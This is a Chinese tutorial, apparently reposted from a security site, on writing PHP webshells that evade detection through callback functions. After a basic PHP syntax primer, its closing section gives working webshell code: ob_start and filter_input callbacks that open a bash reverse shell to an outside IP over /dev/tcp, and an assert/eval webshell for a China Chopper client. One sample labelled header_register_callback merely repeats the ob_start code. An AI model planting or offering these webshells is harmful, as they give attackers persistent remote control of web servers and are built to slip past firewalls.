PHP_WebShell免杀基础教程(回调函数)
2024-3-14 15:33:30 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

速通php基础语法

变量声明与赋值

$variable_name = value;

PHP中的变量以$符号开头,可以存储各种数据类型,如整数、浮点数、字符串、数组等。

数据类型

  • 整数(int)

  • 浮点数(float)

  • 字符串(string)

  • 布尔值(boolean)

  • 数组(array)

  • 对象(object)

  • 空值(null)

字符串操作

$string1 = "Hello";
$string2 = "World";
echo $string1 . " " . $string2; // 输出: Hello World

条件语句

if (condition) {
// 条件为真时执行的代码
} elseif (another_condition) {
// 如果第一个条件为假且这个条件为真时执行的代码
} else {
// 如果上述条件都不满足时执行的代码
}

循环语句

  • for循环

for ($i = 0; $i < 5; $i++) {
echo "Number: $i <br>";
}

//输出:
//Number: 0
//Number: 1
//Number: 2
//Number: 3
//Number: 4
  • while循环

$count = 0;
while ($count < 3) {
echo "Count: $count <br>";
$count++;
}

//输出:
//Count: 0
//Count: 1
//Count: 2
  • foreach循环(用于遍历数组)

$fruits = array("Apple", "Banana", "Orange");
foreach ($fruits as $fruit) {
echo "$fruit <br>";
}

//输出:
//Apple
//Banana
//Orange
  • 关联数组,获取键和值

$person = array("name" => "John", "age" => 30, "city" => "New York");
foreach ($person as $key => $value) {
echo "$key: $value <br>";
}

//输出:
//name: John
//age: 30
//city: New York

函数定义与调用

function functionName($param1, $param2) {
// 函数体
return $result;
}

// 调用函数
$result = functionName($arg1, $arg2);

数组操作

$array = array("apple", "banana", "orange");
echo $array[0]; // 输出: apple

// 关联数组
$assoc_array = array("name" => "John", "age" => 30);
echo $assoc_array["name"]; // 输出: John

超级全局变量

PHP中的特殊变量,如$_GET,$_POST,$_SESSION,$_COOKIE,$_SERVER等,用于从表单、URL、服务器环境等接收数据。

包含文件

可以使用includerequire将一个文件包含到另一个文件中。

include 'filename.php';
require 'filename.php'; // 如果文件不存在或者有问题,会引发致命错误

错误处理

try {
// 可能引发异常的代码
} catch (Exception $e) {
// 异常处理代码
}

回调函数绕过

1.ob_start:

  • 函数功能:输出缓冲是 PHP 中的一种机制,允许你在将输出发送到浏览器之前捕获由 PHP 脚本生成的输出。

  • 示例:

# 自动触发
<?php function a($b){exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');}ob_start("a");?>

2.header_register_callback:

  • 函数功能:当 PHP 发送 HTTP 标头时,该回调函数将会被调用。

  • 示例:

# 自动触发
<?php
function a($b){
exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');
}
ob_start("a");
?>

3.filter_input:

  • 函数功能:获取输入变量并过滤它的值的函数。

  • 示例:

# 需要 POST 一个 C 参数 , 就会触发反弹 shell
<?php
function a($value){
exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');
}
filter_input(INPUT_POST, 'c', FILTER_CALLBACK, array('options' => 'a'));
?>
# 直接菜刀连接 , 密码为 c
http://127.0.0.1/index.php?&c=assert&d=eval($_POST['c'])
<?php
function a($c){
$c($_GET['d']);
}
filter_input(INPUT_GET,'c', FILTER_CALLBACK,array('options'=>'a'));
?>

回调函数还有很多,可以自己去搜集,但是在如今回调函数早就被waf给重点关注了


文章来源: https://www.freebuf.com/articles/web/394827.html
如有侵权请联系:admin#unsafe.sh